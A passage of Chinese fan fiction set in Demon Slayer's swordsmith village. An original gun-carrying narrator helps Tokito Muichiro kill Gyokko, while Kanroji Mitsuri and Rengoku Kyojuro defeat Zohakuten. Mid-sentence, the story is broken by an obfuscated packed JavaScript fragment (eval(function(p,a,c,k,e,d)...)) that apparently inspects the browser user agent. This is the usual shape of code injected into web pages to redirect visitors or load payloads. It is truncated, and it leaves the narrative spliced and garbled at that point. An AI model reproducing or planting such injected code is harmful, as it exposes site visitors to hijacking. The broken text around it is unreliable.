我能听见小铁压抑的哭腔,被调动在颤抖的身体中。他们已经认出那些刀匠,一个一个、与他们日夜相处的如同家人的存在。可这悲痛在玉壶看来只是一种调味剂,它兴奋地拍着手,赞不绝口地说着自己用了足足五名刀匠才创造出这件奢华的作品。“我还用刀刺穿他们强调‘刀匠’的身份!”他的身体夸张地延长,又立刻压低,将全身团在一柄刀柄之前,伸出一只稚嫩如孩提的手,轻轻握住刀柄。“点睛之笔当属这里。”他陷入自己的世界,整个头颅侧歪过来,“只要你把刀柄这样轻轻一拧。” 被那柄刀贯穿的刀匠顿时发出一声凄厉而痛楚的哀叫。 他还活着! 泪水已经蔓延在眼眶,我几乎看不清面前这一切,只是刀匠的嚎叫与小铁的哭喊并成一曲交响,让这个夜晚变得如此冷漠。 玉壶的眼睛睁大,笑容恶劣地看向我们。 鬼不仅以人类的血肉为食,也将人类的恐惧情绪当作最好的养料。它折磨人类,享受自己漫长的生命。 它体态张扬,无所畏惧地介绍着它的“作品”,又品尝着我们无能为力的样子,让我终于忍无可忍…… “说够了吧?” 在我之前开口的是一直沉默的霞柱,他声音冷漠,属于霞之呼吸的气息则蔓延了全身,眨眼间就汇集在刀刃之上。等我们再次看清时,他已经将日轮刀砍向玉壶的脖子。但在那个瞬间,那个清晰得仿佛做梦一样的瞬间,玉壶已经瞬间从栖身的壶里消失,取而代之出现在屋顶上,伴随着一个全新的壶。 它因自己被打断的介绍而倍感愤怒。 究竟是怎么回事? 我脑袋里乱成一团,最后闪现的只有一路上遇到的鱼形怪物……共同点,只有……壶! 而我豁然开朗的时候,霞柱大人也同样已经发现了盲点,在瞬间轻身而上一刀劈开壶。但似乎没有效果,在另一个角落再次出现的壶摇晃着,从中钻出的玉壶因为被破坏了壶而已经抵达愤怒的边缘。粗壮的筋络遍布全脸,它用手扒着脸颊愤怒地指责我们,但相比之下面无表情的霞柱大人却冷静得不可思议。直到玉壶从一只手中化出一个新的壶,蓝色的釉面,依然是粗糙的工艺。可壶在他手中抖动几下,却从漆黑的体内喷出两条怪异的金鱼,硕大的眼泡左右摇晃,原本生有的两个颊泡鼓得快要胀裂,最后猛地喷出无数钢针。 “霞柱大人小心!”我惊叫着冲其中一条鱼开枪,愤怒挟持着我的情绪,子弹在击中的瞬间将鱼化为一团水雾消散。而霞柱大人也反应迅速地躲开了刚才的攻击。 另一条鱼看到了我们。它的眼珠在苍白的眼泡中胡乱转动,最终死死盯着我,领路的刀匠下意识挡在小铁面前,我将他们后推,朝那条恶心的金鱼再次开枪! 但这次速度似乎慢了一些…… 想侧身躲开时,只看见霞柱大人已经挡在了我们身前,他跳下来时太着急,甚至忘了挥剑。从金鱼口中吐出的银针扎满他的身体,哪怕是面颊。鲜红的血正淅沥地流,他却浑然不知疼痛,只是说:“你们很碍事,快躲起来。” 但另一条金鱼也消散了。 我跟着小铁他们后撤,看着他们离开后在灌木中寻找了一个较为隐蔽的位置蹲下。我不能离开!这是上弦五,很危险,而且那个针…… 玉壶哼笑着嘲讽地看着霞柱,语调拉长:“救下毫无价值的性命,在毫无价值的地方丢掉生命,有没有你都没区别。” 上弦五的毒素发挥得极快,霞柱大人持刀的手臂已经因此微微僵直,但他仍面不改色,并不因此退却丝毫。只是,不知为何,在玉壶说出那些话后,我感到些许伤感蔓延而出,就像回到了无限列车向前驶去的那个夜晚。 但我不会再惧怕了。鬼杀队的成员都有着保护大家的力量,我也同样有着要保护他们的信念。 从灌木之中举起枪,瞄准它手中那个简陋到毫无美感的壶。 砰—— 壶炸裂的瞬间玉壶的表情几乎要崩裂,而霞柱大人见状立刻找准时机提刀迎上,“烦死了,你说的话才没有价值呢。”他清亮的眼眸微微眯起,将冷硬的刀刃送到玉壶颈边。 可惜它还是反应了过来,那些丛生的小手争相伸来试图挡住刀尖,却被利落砍下。血飞溅开,我迅速换了个位置躲藏。 上弦不愧是上弦,恢复能力相当强大,顷刻间就长出一条新的手臂,而那手中赫然举着一个蓝色的壶,壶口汹涌地炸出一道水柱,扭曲着袭向霞柱大人。 我紧跟着再次开枪。 可这次击碎壶并没有影响局势,那股水柱最终维持着一个壶形,将霞柱大人完完整整地收纳其中。 怎么办! 玉壶愤怒地嘶吼着在灌木中寻找着我的位置,尖厉的声音恨恨地让我付出破坏了他的艺术品的代价。它很快就会发现我,但霞柱大人却无法挣脱出水的禁锢。究竟要不要走……纠结中我的心怦怦直跳,重新上满弹夹。但它最终放弃了搜寻位置,或许因为在它看来解决一个柱后,剩余的人不值一提。于是轻松地朝向那间房门紧闭的木屋满足自己的好奇心……所有的手整齐搭上木门一齐用力推开,壶矗立在门前,而它整个身躯将门框堵得死死的。 那里面有没有人在?我感到担忧,却找不到更好的方法,这会儿只后悔没带上刀。 正在思考间,就听见木屋里一个男人的声音声嘶力竭:“不行!你休想进来!” 里面有人在! 这个认知让我瞬间潜伏不下去,只能翻出灌木,往禁锢着霞柱大人的水壶跑去。霞柱大人整个人倒着困在其中,眼睛睁着,脸上却没什么表情,我拍打着水面,但他却听不见我发出的声音。而这水液更是不知道被什么力量控制着,坚韧地保持着形状,摸上去无法沾湿皮肤,有种柔韧的弹性,任我用再大的力气拍打,哪怕朝其中开枪,也无法破坏丝毫。 怎么办? 我看向木屋,玉壶往里面探进了些,月光下我能够看清昏暗的室内有两个刀匠。它的手中再次变出一个全新的壶,还是一如既往的丑陋,也能喷出水柱,将先前说话的刀匠打伤至室内——可恶!但上弦鬼绝对不是我能解决的,当务之急还是要把霞柱大人救出来。我不停呼喊着他的名字,试图让他的注意力停留到我身上。直到木屋那里玉壶已经开始气急败坏地吼叫,霞柱大人才如梦初醒般动了动眼珠,看向我。 “霞柱大人!” “时透无一郎——” 我的嗓音已经带上沙哑,霞柱大人已经也因为空气的减少逐渐闭上双眼,无论如何都无法破坏这些禁锢的水,我崩溃地流出泪来:“无一郎!别放弃!我一定会救你的!” 这时小铁忽然冲了回来,他小小的手里举着一把匕首,学着我的样子用力割向水液,但结果是一样的。 我们两个都挂着眼泪想要破坏水体,看着狼狈无用,可一直毫无反应的霞柱大人却忽然变了脸色,也跟着拍打起水壁。我们没有意识到危险的靠近,也没能明白霞柱忽然与众不同的举动意味着什么,只是以为他也有了同样的反抗想法。直到那只巨大的螃蟹将它坚硬锋利的钳子伸来——我头一次知道自己的反应可以这么快,猛地一把将小铁捞进怀里,但取而代之的是钳子划到我的手臂——幸好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我坚定地抬起手臂将枪对向玉壶的正脸,黑洞洞的枪口随着我扣下扳机的瞬间将滚烫得如同在燃烧的子弹送进它写有“上弦”的眼睛。它下意识尖叫了声,我立刻又一个翻身滚出玉壶面前,再次开枪仍然击碎了它身下的壶。 这一切的举动完成在刹那之间,结束后连我自己都没能反应过来,只是心跳得极快,可身上四肢都充斥着满含力量的暖意,大脑更是静得没有一丝杂音。[开枪保护无一郎很帅的,可以画] 这次,玉壶刷新在离我有着稍远距离的位置,但更靠近木屋,它不可置信地捂住眼睛,却显然贼心不死。如果它选择再次攻击室内的刀匠,那我无论如何都顾不过来。能够指望的只有……我看向霞柱大人。 被禁锢的霞柱大人呆呆地看着我。他像是在看着我,也像是透过我看到了别的什么。 「如果人互相帮助,最后都会回馈到自己的身上。」 「而人这种生物,能够为了他人,发挥出难以置信的力量。」 「无一郎。」 “无一郎!”我大声叫出他的名字! 名字就像一个咒语,隐藏在“霞柱”之下,独属于时透无一郎的咒语。他艰难地双手握住日轮刀,一阵弥漫如雾气的朦胧霞光骤然迸发,随着流转的水液道道分散,在顷刻间割裂了原本坚固如钢铁的水体。我急忙跑过去,而无一郎狼狈地摔在水中,浑身湿漉漉的,抬起头时眼神中却闪着坚毅的亮光:“我想起来了。” 玉壶脸色难看得就像那些裂了的丑壶。 也就在这时,森林中忽然传来一个惊天动地的巨大声响,声音大到仿佛地面都在震颤。我胡乱张望寻找着响动的来源,终于在茂盛的树木之上、几乎快要够到月亮的位置,远远看见了一颗张扬的兽首……不对!不止一颗!是五颗巨大的兽首,怒目圆睁,生有尖喙,下面还连接着蛇一样的身躯,在半空中疯狂舞动,摇晃着存在感。那些极具力量感的蛇兽摇晃着用力撞向地面,再次惊起一声震天响。 好大!那是什么?等等,那个位置……“是刀匠村的位置!”杏寿郎他们! 无一郎与玉壶同样看到了这动静,但比起无一郎冷淡的神情,玉壶的更难界定喜怒,它似笑非笑地变换了一阵表情,最终哈哈大笑起来,“要结束了哦,马桶蛆虫。”连骂人都很恶心啊! 它摇摆着身体,小手们依次鼓掌,“你这短手短脚的小矮子,还有你这个只有脸好看的小丫头!一切都要结束了!” 虽然是这种时候,但听见它的话我还是觉得:它审美没问题啊,那做的壶怎么会这么丑? 无一郎则更是毫不在意,他看着玉壶的身体,素来无神的双眼现在有了亮光,这让他看起来活泼了些,更像一个人类而非精致的人偶,“你的胳膊腿明明比我的还短吧?” 他抬手抵住下巴,认真地深思道:“话说,你那个壶,是不是走形了?看起来左右不对称。” 嘴巴微微撇起,像只不满的小猫:“做得好烂哦。” 哈—— 49. 月亮知道 无一郎漫不经心的姿态让玉壶整个暴怒起来,歇斯底里地大声驳斥,目眦欲裂,眼球已经因为全身用力而爆突出眼眶,红血丝顷刻间遍布眼白,像伸着无数小手将那两颗橙黄色的眼珠抓在中间。它怒骂着点评的无一郎,用尽贬低的词汇,但无一郎始终淡淡的样子,让场面变得意外有些诙谐。这个鬼……还真在意自己的“艺术”啊? 这时从木屋中跑出一个刀匠,他手中抱着一柄刀冲向无一郎——对了!无一郎过来就是为了取刀的!这柄独属于他的日轮刀,刀刃是一种恰如远山春色般的青,在月光之下呈现出偏蓝调的冷冽,接近刀柄处篆刻的恶鬼灭杀几字更是让它的锋芒带上不可名状的杀意。无一郎看着刀,目光穿透许久的岁月,在这层层显现之下,他的神情更显坚毅。 而玉壶就像终于忍无可忍了那样,全身收缩着用力,肌体上可见的每一块肌肉都用力收紧。无一郎向我侧过头,轻声说道:“这里很危险,请去躲起来。” “好、好的!”忽然礼貌得不可思议呢,这孩子……不过一直滞留在这里确实也帮不上更多的忙,万一玉壶要发动血鬼术我恐怕只会扯无一郎后退。用力点点头,我小声嘱咐道:“请千万注意自己的安危。”但这时我才看清异变,无一郎脸颊上那个红色的花纹是什么?那是什么时候出现的?不等我细想,小铁和刀匠已经拉着我迅速后撤。 找了个远一些的位置躲藏在树后,这里还能看见战斗的情况,且没有超出手枪的可射击范围。我们紧张地观察起局势,只见玉壶触底反弹般猛地抻开身体,它的身躯上左右对称分布的十只小手中几乎同时出现了一个壶,差不多的款式,以蓝黑撞色绘有鱼形图案,然后在它愤怒的嚎叫中壶口朝向无一郎的方向,一阵奇怪的黏稠水液涌动的声响后,十个壶口中竟然统一喷出十道鱼柱攻向无一郎! “血鬼术·一万滑翔粘鱼!” 救命!我捂住嘴不敢发出一点声响。 小铁在我身后难以控制地干呕了声,在我看过去后也立刻学着我的样子捂住了嘴。 玉壶正沾沾自喜地介绍着自己的血鬼术,但无可否认的是一万条粘鱼所带来的鱼腥味和造成的视觉冲击远比它这招带来的伤害更大。 无一郎轻轻跃起,属于霞之呼吸的雾岚随之蔓延,他仍然面不改色,在半空跃转一圈后踩到一棵树木粗壮的枝干上,用一种不可思议的状态保持着平衡与稳定,刀柄握紧,刀刃后斜,再用力蹬出。他娇小的身躯轻盈地迎击上汇聚成一股的鱼潮,刀被迅速挥动,刀刃上流转的寒光也在月光折射中不断变换。直到最后一刀挥出,在无一郎平稳地落地站定前,那些滑翔的粘鱼尽数被剖开,鲜红的血四下迸溅。残损的鱼身与血液终难逃过重力的一劫无助地下坠。不过无一郎并没有就此停住,他仍然抬刀起势,刀背向下斜过肩头,无一郎注视着面前的粘鱼构成的血雨,果断将刀挥出整圈,浓烈的岚气升腾如霾,随着刀气漩涡般将一切卷入其中,再向外扩散。一切被清理得干干净净,那些血鬼术创造出的粘鱼逐渐散成烟尘,除却腥味没有什么能证明它们存在过。 也就在这时,肉眼甚至无法捕捉,谁也没有看清无一郎出袭的动作,看见时他已经到了玉壶面前,日轮到用力挥下。 但砍到的只是一张皱缩的、干瘪的皮囊。 竟然还会蜕皮……真是越来越恶心了。 “唉,真是麻烦死了。”无一郎微微抱怨,眼神转向一旁的树木,“能不能别逃开躲到树上去啊?” 我们顺着他看的方向望去,粗壮的树干上缠着什么正在缓慢上升,某种坚硬的物体划过树皮发出的尖锐噪声正显示着它究竟是何等的庞然大物。从慢慢散去的雾气里,直射的月光从不偏私自己的慷慨,将那副非人的躯体完整地暴露出来。玉壶吊诡的尖笑声毁去了深夜的平静,“你是第三个见过我这副姿态的人。”它这么说着,肩膀处的肌肉鼓动着弹出两条手臂,而那张丑陋的脸也一览无遗。 脱离了壶,它真正的形态生长着数米长的形如蛇的尾巴,颜色更艳丽,也无比粗壮,正帮他缠在树上攀行。而取代那数只小手的,是更近似成年人也与它的躯体更匹配的两条健壮的手臂,只是双手与尾巴同色,指间长着璞,指甲也泛出尖利的寒光。它浑身上下都覆盖着鳞片,下巴上生长着鱼鳍般的茂盛胡须,只是脸显得更丑了。但那小人得志的神态是不会因此削减的,它向我们得意地展示着一切,有种幸灾乐祸的快乐:“看看我在壶里精雕细琢的这副完美玉姿!还不速速跪拜!” 呕——这下该轮到我干呕了!这简直是对我的眼睛、心灵和审美同步进行的惨无人道的暴行!真佩服无一郎啊,对着这种情况还能冷静得下来。 对于无一郎无动于衷的沉默再次暴怒的玉壶像一个烧开了水的热水壶,发出尖厉的啸叫。他终于忍无可忍,扑袭向它,速度比起先前在壶中时确实更快!一眨眼的时间,两人已经对调了处境,盘踞着庞大蛇尾的玉壶虎视眈眈地看着蹲到树枝上的无一郎,它砸向地面的拳头处迸出数不清的鱼。而无一郎的衣裳上,被血鬼术触及的部分竟然也溶解成几条活蹦乱跳的鱼…… “是你自己说的别逃到树上吧?”玉壶怪笑几声,两张嘴配合得当,“真麻烦啊!”被它的手碰到的东西都会变成活鱼,而它显然非常满意这一切,哪怕变成怪异到令人厌恶的样貌,将蛇的躯干不伦不类地拼接到自己的身体上,只要拥有力量,能够纵横驰骋,那么又算得了什么呢?毕竟早就已经抛弃了人类的身份了不是吗? 我从前思考过为什么鬼与鬼之间样貌差异如此之大,有的鬼分外丑恶,有的鬼看起来却几乎和人类别无二致。最初以为是能力的缘故,血鬼术越强大的鬼越不像人类,但见过猗窝座和堕姬他们之后,这种观点也就被颠覆了。鬼最终的相貌或许只是它们对于自己奢望的具现,而譬如玉壶,就能从它的言行中概括出这样一个大概的形象:渔民,贩鱼为生,爱好是制作一些陶壶,但必定得不到大家的欣赏,甚至可能得到贬低。它们从前大多受到压迫,无力反抗,因此不顾一切地从鬼舞辻无惨那里换取新生,以达成自己的愿景。很难界定它们为人时究竟是好是坏,但……变作鬼后,心中积攒的恶意就无限地倾倒向人类,让它们彻底变成黑暗中的一员。 鬼,不应该存在。但最应当被灭杀的,当属鬼舞辻无惨。 蹲在树上久久没有说话的无一郎忽然抬脸露出一个大大的笑容:“再强力的攻击,打不到又有什么意义呢?” 他提起刀,冲向玉壶。运转血鬼术后浑身鳞片都覆盖上红光的玉壶在夜色中飞快游移,它那弹性与柔韧性极佳的身躯不住变换着进攻的姿态,将无一郎包围在攻击范围之内,时刻等待着出手一击。我什么都看不清,那红光缭乱,刺眼得很,而无一郎似乎也逐渐落入下风,只退后着阻挡,却找不到攻击的方向。 但在可见的最后视野里,只瞧见玉壶猛力伸手劈向无一郎,而无限的云岚复又泛滥,为他掩去身形。玉壶的攻击落空,它不断在瘴气深厚的云雾中寻找着无一郎的位置,可在我们的角度,能看见的只有云岚在月光下不断运动变换着,就连玉壶身上的血鬼术的红光也看不清了。 忽然。 只是一刹那的光景,世界却像被暂停在这一秒,鸟叫虫鸣尽数消失,云瘴凝滞,就连我的呼吸也因此中断。一道极其犀利的寒光在浓白的霞雾里闪烁了下,时间再次流转时我们只见玉壶的头颅正在下坠。它像是自己也还没意识到,身体维持着警戒的姿态,眼眶中的瞳仁却剧烈震颤。直到扑通一声,头颅落地。它终于明白发生了什么,惊惧感混杂着疯狂作祟,不甘与不可置信的两种情绪催促着它嚎叫起来。被日轮刀斩断的脖颈处则病毒繁衍般瞬间增生出许多长着细小的手的肉球。那些畸形肉球不断膨胀,水流般来回运转,迅速生长成一大摊,随着它不断地咒骂而用力向四面八方挣扎。 “别说了,快点下地狱吧。”无一郎平静劈开,刀光一阵乱舞,玉壶的头颅被分裂成无数块,彻底安静地消散了。 我们立刻跑出去,围到无一郎身边检查他的状况。“没事吧?”当被这么询问时,无一郎平静地应答:“没事没事,我现在特别畅快。” 他全身都颤抖起来,声音也有气无力,仿佛全身上下所有机能,只剩下意识还勉强在线:“而且我还要赶快找炭治郎他们……”他喘起气来,脸色差得不得了,身体更是一动不能动地僵硬在原地,我伸手想要扶住他时,他突然口吐白沫,啪地摔到地上。 见状我们立刻跪到他边上检查他的情况,我小心翼翼地将手触到无一郎的脑袋,想看他是否还醒着。那双青绿的眼睛此刻如蒙了雾,他愣愣地看着前方,任由我们为他翻过身体。我不知道无一郎看见了什么,可他眼中忽然积蓄了泪水,泪水溢出眼眶。他的痛苦与悲伤在这一刻终于流出,而不是压抑地堵在心底。 “谢谢你们。”含着泣音的无一郎这样说道。 夜色尚深,弯月高悬。等天亮之后今夜发生了什么,外人无从得知。但无论如何,我们知道,亘古存在的月亮也知道。 追着炭治郎的木龙大张着嘴咬向他,炭治郎躲开后闭紧的龙嘴像要吞下月亮。他狼狈地逃窜在数条木龙的攻击之间,还要分出心神去注意被限制住的弥豆子与玄弥。但在一旁观察全局的憎珀天显然不打算放过他,连声敲响身后的鼓,木龙们被催使着不断向炭治郎发动攻击。就在炭治郎以为自己已经跑出木龙的攻击范围时,那大张着的龙嘴中却陡然生出一段接一段的木龙,最终咬上炭治郎的手臂,将他拎起吞入口中。坚硬的木质 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甘露寺蜜璃背着炭治郎躲到一旁,双手按在他的肩膀上摇晃起他的身体:“炭治郎,休息吧!你真努力啊,了不起!”能坚持到现在,做到这种程度,真的非常了不起了,夸奖过后蜜璃看向鬼所在的位置,重新拿起日轮刀,向炭治郎保证会把弥豆子和玄弥救回来。柱有着柱的特殊之处,她的日轮刀与别人不同,具有极强的柔韧性,甚至可以自由伸缩,在兼具刀的功能的同时,还能作为绞具使用。一般人没有蜜璃的体质是无法使用这柄日轮刀的。 “接下来就看我的吧!”她笑起来,飞身跑向鬼。 炭治郎本想叫住蜜璃,失败后只能大声提醒这个鬼是上弦之四。 蜜璃已经冲向主动攻击来的一条木龙,在她随意且轻松的挥动下,刀刃旋转着捆上木龙的嘴。那原本像极了鸟类的尖喙被捆得结结实实,跳起的蜜璃轻而易举跃起,再用力将刀甩向地面。连接在一起的数条木龙因此被整个掀翻过去,炸出的灰尘浓烈得像雾一样叫人看不清。她停在上弦之四的面前,指责道:“我说你啊,恶作剧别太过分了!快把弥豆子和玄弥还回来!” 居高临下看着蜜璃的鬼有一张甚至可以说青涩的脸,他通红的眼中唯独那几个字是如此刺目,尖利的齿张张合合,他斥道:“闭嘴!泼妇!世上有资格命令我的唯有那一位。” ——泼……泼妇?! 听到这个词的蜜璃感觉世界都碎了。确认这个词的确是形容自己时,愤怒更是源源不断地涌上心头,真的是太过分了! 再次面对憎珀天的攻击时,蜜璃已经彻底收敛了笑意,她面无表情地跃起,在半空中自然舒展着身体,轻松使用出恋之呼吸,将它召唤出的雷电攻击粉碎。 “我生气了!就算外表是个小孩儿,也绝不会饶过你!” 她的动作很快,无法看清,挥舞出的刀刃更像极了绸带,围绕在她的身边形成一道天然的障蔽。哪怕憎珀天召唤出更多的木龙,它们无声嘶吼着争相冲飞身在半空的蜜璃咬去,仍然被那缭乱的粉色尽数撞碎。没了这些扰人的阻碍,蜜璃轻而易举地跳到鬼的面前,柔韧的刀身一圈圈缠上憎珀天的脖子,从外表来看和自己弟弟差不多大,但却是恶鬼! 蜜璃想要抽动日轮刀收短刀身,只要这样…… 可鬼却对她的逼近毫无反应,甚至没有一丝脖子正在日轮刀下的恐惧。它只是张开嘴,舌面上生有的憎字看得一清二楚,可更深处藏有的却不是血肉,而是一阵闪烁的波光。 “甘露寺姐!他不是本尊,砍了头也不会死!” 炭治郎提醒的声音迟了一步。蜜璃根本来不及撤刀躲开,就被一道灼亮的光波正面袭中! 尖叫之后摔跪在原地的蜜璃衣裳破损、浑身狼狈,虽然身上没有伤痕,但四肢正颤抖着。她此刻已经丧失了反应。惊讶于蜜璃竟然能全身而退的鬼看出了蜜璃的体质不同,她在受袭前的瞬间让肌肉变僵硬了。她有着与体型并不相符的肌肉力量,是特殊体质之人。憎珀天一步一步走向蜜璃,鬼以人肉为食,稀血是最好的美味,但是品质好的肉能让鬼变得更强。他要吃了她——距离越来越近了,右手用力握成拳,目标是她的头颅! 炭治郎、弥豆子还有玄弥都无一例外挣脱了束缚,在这一秒钟接近全身力气地扑向蜜璃,想将她从上弦之四的魔爪下救出。 时间忽然变得很慢,听不见任何声音,脑袋里也只有一个意识:救她!救她! “炎之呼吸·二之型·上升炎天!” 也就在这紧要关头,一道燎灼的火光骤然冲起,直射向天际。没人知道这是什么时候到来的,但在所有人反应过来前,最先打破平静的是一段坠地的手臂。而鬼握紧的拳头依然没有松开。 成功将蜜璃扑倒至一边的炭治郎几人震惊地看去,硝烟散后,显露出的是一张坚毅的面庞。金色的发,发尾火炎灼烧,赤金的眼眸中承载着千年不熄的烈焰,披风在风中猎猎飞扬,鬼杀队的炎柱——炼狱杏寿郎跨开步子,握着日轮刀摆好架势,笑着朗声道: “看来我来得正是时候!” 50. 再次回顾 久违地再次举起刀,面对鬼,炼狱杏寿郎可以清晰地感觉到自己身体的变化,呼吸法运转独立于一套完全不同的世界观中,它汹涌地顺着血液流淌在每一处,蓬勃火热的力量发出无声的咆哮。 比上弦之四反应更快的速度,如光影飘忽地闪烁,火光再次燃烧,沿着刀刃席卷,炼狱杏寿郎忽然改了架势,灼热的火光顺着甩出的刀刃聚拢成一只猛虎的形状凶狠地咬向面前的鬼。火焰已经燃烧到它的脖颈,也只到了这一刻,它才瞳孔骤缩地清醒过来,飞速后退时双手再次长出,慌乱地敲响身后的鼓。 它失去了方才的游刃有余,咚咚的鼓声错乱地奏起,那些颓靡的木龙得到召唤重新苏醒,纠缠生长着撞向炼狱杏寿郎。他微微侧头看向摔倒在地的几人,露出一个叫人无比安心的笑容:“灶门少年,就先拜托你们照顾甘露寺少女了。”他总是值得大家信任,无论是在无限列车上,还是此时此刻。 炭治郎用力地点点头,他总能回想起那个夜晚背对众人的身影。集合了祢豆子与玄弥的力量,浑身是伤的三人合力扛起蜜璃往边上跑去。“只要等甘露寺姐醒过来,有她和炼狱先生在!就一定能打赢!我们几个,谁都不会死!”少年的声音传来,鬼面无表情地看着他们。 “何等滑稽。”在鬼看来,为了活下去而抗争的人们言行滑稽。而它们是得到眷顾的天选之子,是高于一切生命的存在,是完美造物。蓝色与红色的雷光交错地闪烁在它的身边,伴随着滋滋作响的噪鸣,危险感具象成自天而降的雷电,穿透过厚重的夜幕与云层,轰然砸向跑开的几人,势要一举将他们消灭。 但它忘了另一边。 并不是只有闪电的光可以照亮黑夜,熊熊燃烧永远不会熄灭的火焰同样可以。炼狱杏寿郎是火焰,他会燃烧一切包括自己来点燃黑夜,为苦守的人们带来光明。斩断数条木龙后自高处坠下的杏寿郎调整着身形,将力量集中于挥刀的手臂,银白锋利的刀刃转了大半圈,火焰以他自身为中心,呈现旋涡状流转在空中——蜿蜒的盛宴——撞上闪电后燃烧的火光甚至穿透过烟尘,消解了那攻击力巨大的雷电,热浪扑向四周。 它以为他要去救他们,神情凝重地看着烟雾散去。但看见的只有挥舞着日轮刀的女人。 甘露寺蜜璃此刻已经清醒过来。她哭得满脸都是眼泪,“谢谢大家!我明明是柱却搞砸了,对不起!我绝对不会让同伴死掉!”大声嘶吼着想将内心积攒的情绪发泄殆尽,蜜璃仿佛得到醒悟,“我才不管你是上弦还是什么东西,我是绝对不会输给坏蛋的!” “你准备好受死吧!我要出全力了!” 超出预料而对现实的感知变得迟钝,憎珀天不可置信地看着从雷暴中活下来的几人,是的,一个都没有死,甚至看起来没有受到任何影响。是那个柱,目光落在站定的炼狱杏寿郎身上,憎珀天看清是他的火焰抵消了落雷。想要再次敲响鼓催动木龙来构筑保护自己的屏障,担忧的到来比任何时候都要强烈一些,他们是不可能找到自己的本体的,但是—— “又能一起特训了。”杏寿郎笑着这么说道。 “这里交给我们!你们先走,去消灭本尊!”站起身的蜜璃看看杏寿郎,又回头嘱咐炭治郎他们,这绝非一般的战场,将本体与分身分开后,机制导致了上弦之四不可能被一人打败。曾经做过师徒的两人在战斗上默契十足,只交换了一个眼神,就在无形中分享了战斗的方案。两人自两个方向向鬼冲来,最先看见的是桃粉色的日轮刀,被蜜璃轻而易举地挥舞成各种形状。斩断冲击的木龙后仍然没有停住步伐,她的目标从来都如此明确,不曾经历任何更改,那就是它! 憎珀天一边指挥木龙攻击,一边防备着炭治郎他们,疑惑与不安是他已经许久不曾品尝过的味道,如今再次尝到,依然难以下咽。转换方向冲向炭治郎他们的木龙被闪身追去的蜜璃斩落在地,她就站在那三个小孩跑开的方向,用自己瘦削的身体挡着,神情坚毅得仿佛在告诉它刚才的行为是多么多此一举:“我说过会保护他们的,你休想过去!” 到底怎么回事,比刚才的速度更快,力气也更大了!眉头紧紧折起,非人带来的优秀视力终于让他在蜜璃战斗的动作中看清了异样,她衣领处露出的那一块皮肤上,不知何时出现了一朵花一样的红色斑纹。那个……和鬼的花纹很像……在它堪称漫长却也同样短暂的生命里,从没有见过任何一个鬼杀队的柱身上带有过类似的东西。紧张开始在他的精神上跳跃,脑海中计较着得失,在生死面前,饥饿或是杀人的欲望根本不值一提,她不可能永远拦住它,但与柱耗下去只会让局面变得更危险,它咬牙切齿地试图找到更快的解决方式,却全然没有发现自己忽略了很多东西。这究竟是怎么回事?他不断思考着,脑海中疯狂闪回方才的一幕又一幕情景……等等!他终于想起不对劲的地方,少了一个人,那个用火的柱呢?——滚烫的热浪在意识催促身体作出反应之前到达,灼烧感真实无比。疼痛逼着他立刻转身看去,目眦欲裂的惊恐表情毁坏了那点淡然。 地狱凶兽般突进而来的烈火已经将它吞没,它根本没有做出反应的时机,哪怕是逃亡抑或者躲藏,一切遥远得如同明天的太阳。而炼狱杏寿郎的刀刃已经近在咫尺,足以深剜入骨,刀刃穿透脖颈血肉的声音竟然如此清晰,纵然此刻火焰燃烧木龙坠地,四起的巨大灰尘如霾遮蔽,可它清清楚楚地听见了自己喉管被斩断的声音,还有血液无法流动只能飙出溅落的声音。 他看见那双眼睛,那双燃烧的眼睛中自己根本无法动弹的丑陋姿态,还有…… 还有背后旋转着飞舞的刀刃缠上来的锋锐,蛇一样紧紧绞住自己的脖子,帮助面前的男人一同斩下他的头颅。 不可能……它明明已经……不可置信很快被愤怒追上,只要力量回归本体,它还有再来一次的机会,他们不可能发现真正的本体藏身何处,下一次、下一次一定要……但为什么力量…… 消散成烟尘之前,憎珀天只来得及看见几百年不曾见过的太阳缓慢地从地平线处抬起头,万丈金光光辉灿烂,平等地落在每个人的身上。 还有一个少女带着哭腔地喊叫:“杏寿郎!蜜璃!快来啊!” 铁穴森先生他们的小屋里有一些基础的药品,简单为无一郎和我自己包扎止血后,我们又一同往杏寿郎他们的方向跑去。那边是更厉害更恐怖的鬼,召唤出的木龙攻击范围更广,一直到这会儿都在不停地撞击着地面,轰隆隆的声音配合着越是靠近就越让人感觉地动山摇的动静,危机感堪比将要经历地震。 但不知道是不是在密林中奔跑时找错了方向,循着那闪烁的刀光与照亮了天空的火焰,我们却一路跑到了悬崖边。 “天快亮了。”无一郎看着翻出蓝色的天幕,将手里拿着的刀握得紧了些。 我的心也紧了紧。不只是担心着杏寿郎他们,身后那不像是人类能够发出的嘶吼声也追得越来越近了。这是比刚才直面鬼带来的恐惧感更真实的东西,我慌不择路地拉住无一郎又寻找了一个方向,刚要奔跑,就见影影绰绰的树木中忽然燃烧起一阵怪诞的桃色火焰。正犹豫着,就见那燃烧的人形抓着一个人直直从悬崖上坠了下去,又一个身影紧跟着扑上去想要抱住他们。 连失足的尖叫都没有。 只有落地时冷漠的一声沉闷。 心好像停了一拍,眼睛看到的画面变得模糊起来,我不敢相信刚才坠下去的是炭治郎和祢豆子,这种可能性只要出现就让我难以呼吸。不可能的……我跌跌撞撞地和无一郎跑到悬崖边巡视。天色已经逐渐亮起来,不用眯着眼睛就能看见悬崖之下的地面,被砸出凹坑的地上躺着一个鬼和蜷缩着的祢豆子。炭治郎呢?他在哪里?我胡乱地寻找着,但在看见之前,却意外发现那个鬼站了起来……它还活着,那柄日轮刀只是砍入它的脖颈,卡在肌肉与骨骼之间,没能彻底斩落头颅…… 祢豆子似乎失去意识了。 接着又一声坠地的声响,这才发现原来炭治郎先前挂在半山处的一棵树上,这会儿他滑落到地面,因为没能站稳而踉跄了下。艰难地爬起来,炭治郎寻找着鬼的身影……等等!在前方不远处竟然有三个刀匠!鬼正追着他们跑去!万一被抓到的话……我几乎要尖叫出来。 无一郎忽然呼喊炭治郎的名字,“炭治郎!”他将抱着的日轮刀向炭治郎抛了出去,这柄无比锋利的刀,是方才在那间小屋里哪怕被鬼攻击都不肯停下磨刀的钢铁冢先生倾尽心血的造物,在转移时无一郎劈手夺过了刀,抓着我就飞快地跑了。刚才那一路与其说逃离危险,倒不如说是被危险追赶。 